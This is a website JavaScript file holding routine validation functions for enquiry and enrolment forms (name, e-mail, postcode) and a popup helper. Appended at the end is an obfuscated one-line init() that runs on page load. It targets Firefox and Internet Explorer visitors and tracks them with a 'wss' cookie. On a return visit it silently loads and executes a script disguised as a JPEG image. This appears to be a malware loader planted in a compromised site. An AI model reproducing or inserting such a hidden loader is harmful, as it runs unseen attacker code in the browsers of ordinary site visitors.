function validateenquiry()
	{

		//---------- FName  ----------
		if ( document.frmenquiryform.first_name.value == ""  )
  		 {if (!(PrintMesg(document.frmenquiryform.first_name,"Please enter the First Name.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenquiryform.first_name))
   		 {if (!(PrintMesg(document.frmenquiryform.first_name,"Please enter First Name other than space.")))
    		{return false;}}
		 }

		//---------- LName  ----------
		if ( document.frmenquiryform.last_name.value == ""  )
  		 {if (!(PrintMesg(document.frmenquiryform.last_name,"Please enter the Last Name.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenquiryform.last_name))
   		 {if (!(PrintMesg(document.frmenquiryform.last_name,"Please enter Last Name other than space.")))
    		{return false;}}
		 }


		 
		 
		//--------e-mail
	mail = ""
	mail = document.frmenquiryform.submit_by.value
 	if (mail  == "")
    {if (!(PrintMesg(document.frmenquiryform.submit_by,"Please enter E-mail Address.")))
    {return false;}}
	 else { 
   	n = mail.indexOf("@")
   	if (n >= 0)
   	{ newstr = mail.substring(n)
	 n= newstr.indexOf(".")
	 if (n<0)
	    {if (!(PrintMesg(document.frmenquiryform.submit_by,"Please enter a valid E-mail Address.")))
	    {return false;}}
   	} 
   	else
    {if (!(PrintMesg(document.frmenquiryform.submit_by,"Please enter a valid E-mail Address.")))
    {return false;}}
 	}



		
			//---------- postcode  ----------
		if ( document.frmenquiryform.postcode.value == ""  )
  		 {if (!(PrintMesg(document.frmenquiryform.postcode,"Please enter your Postcode.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenquiryform.postcode))
   		 {if (!(PrintMesg(document.frmenquiryform.postcode,"Please enter your Postcode other than space.")))
    		{return false;}}
		 }

		 
		 
		return true;
	}



//-------------------------Enrol---------------------------------------

function validateenrol()
	{

		//---------- FName  ----------
		if ( document.frmenrolform.first_name.value == ""  )
  		 {if (!(PrintMesg(document.frmenrolform.first_name,"Please enter the First Name.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenrolform.first_name))
   		 {if (!(PrintMesg(document.frmenrolform.first_name,"Please enter First Name other than space.")))
    		{return false;}}
		 }

		//---------- LName  ----------
		if ( document.frmenrolform.last_name.value == ""  )
  		 {if (!(PrintMesg(document.frmenrolform.last_name,"Please enter the Last Name.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenrolform.last_name))
   		 {if (!(PrintMesg(document.frmenrolform.last_name,"Please enter Last Name other than space.")))
    		{return false;}}
		 }


		 
		 
		//--------e-mail
	mail = ""
	mail = document.frmenrolform.submit_by.value
 	if (mail  == "")
    {if (!(PrintMesg(document.frmenrolform.submit_by,"Please enter E-mail Address.")))
    {return false;}}
	 else { 
   	n = mail.indexOf("@")
   	if (n >= 0)
   	{ newstr = mail.substring(n)
	 n= newstr.indexOf(".")
	 if (n<0)
	    {if (!(PrintMesg(document.frmenrolform.submit_by,"Please enter a valid E-mail Address.")))
	    {return false;}}
   	} 
   	else
    {if (!(PrintMesg(document.frmenrolform.submit_by,"Please enter a valid E-mail Address.")))
    {return false;}}
 	}



		
			//---------- postcode  ----------
		if ( document.frmenrolform.postcode.value == ""  )
  		 {if (!(PrintMesg(document.frmenrolform.postcode,"Please enter your Postcode.")))
   			{return false;}}
		 else  { 
   		if (!SpaceChk(document.frmenrolform.postcode))
   		 {if (!(PrintMesg(document.frmenrolform.postcode,"Please enter your Postcode other than space.")))
    		{return false;}}
		 }

		 
		 
		return true;
	}


//prints messages
function PrintMesg(ctrlvar,mesg)
{ alert(mesg); ctrlvar.focus(); return false }

// function to check spaces
function SpaceChk(ctrlvar)
{
   chkstr     = ctrlvar.value
   stlength   = chkstr.length
   spacecount = 0
   if (stlength >0)  {
    for(i=0;i<=stlength;i++)
     if ( chkstr.charAt(i)==" ") { spacecount=spacecount+1  }
    if (stlength == spacecount) { return false }
   return true }
}

//---------------popup 13-02-08

function popup(mylink, windowname)
{
if (! window.focus)return true;
var href;
if (typeof(mylink) == 'string')
   href=mylink;
else
   href=mylink.href;
window.open(href, windowname, 'width=820,height=580,scrollbars=No');
return false;
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/fileadmin/templates/css/images/welcome_img.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
